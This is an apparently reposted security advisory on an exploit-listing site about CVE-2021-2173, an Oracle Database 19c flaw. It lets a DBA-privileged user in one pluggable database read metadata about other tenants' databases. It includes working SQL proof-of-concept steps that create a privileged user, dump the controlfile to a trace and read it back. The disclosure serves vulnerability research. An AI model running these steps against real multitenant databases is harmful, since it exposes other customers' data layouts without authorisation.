Oracle DB Broken PDB Isolation / Metadata Exposure

CVE Category Price Severity
CVE-2021-2173 CWE-269 $10,000 Critical
Author Risk Exploitation Type Date
SecureAuth Corporation High Remote 2023-03-15
CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at:

Below is a copy:

Oracle DB Broken PDB Isolation / Metadata Exposure
Title: CVE-2021-2173  PDB Isolation is broken through metadata exposure
Product:                   Database
Manufacturer:              Oracle
Affected Version(s):,, 18c, 19c
Tested Version(s):         19c
Risk Level:                Medium
Solution Status:           Fixed
CVE Reference:             CVE-2021-2173
Author of Advisory:        Emad Al-Mousa


Oracle CDB Architecture was introduced in Oracle starting from 12cR1 as a shift in their architecture to adopt Multitenancy approach for Cloud infrastructure deployment. As any other  new architecture, security issues/vulnerabilities can take place. In this vulnerability I am going to show that from PDB level with account granted DBA role I can extract metadata information of other pluggable databases within the same container.

Vulnerability Details:

attacker in a pluggable database can exfiltrate metdata info. for other co-existing databases within the same container.

Proof of Concept (PoC):

I will create account called ironman in PDB1:

sqlplus / as sysdba

SQL> alter session set container=PDB1;

SQL> create user ironman identified by ironman_2021;

SQL> grant create session to ironman;

SQL> grant dba to ironman;

SQL> alter user ironman default role all;

SQL> exit;

Then, I will connect using ironman to PDB1 and execute the following:

// dumping controlfile contents

SQL> alter session set events 'immediate trace name controlf level 4';

SQL> select * from v$diag_info where NAME='Default Trace File';

SQL> select payload from V$DIAG_TRACE_FILE_CONTENTS where TRACE_FILENAME='ORCLCDB_ora_7387.trc';

After Inspecting the output, for example we can now know the location of SYSTEM data file for PDB2 database within the same container in addition to other information.

So, from PDB1 the attacker will be able to view the metadata information of other customers PDBs within the same container, this should not be happening in the first place as ISOLATION should be enforced !


Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum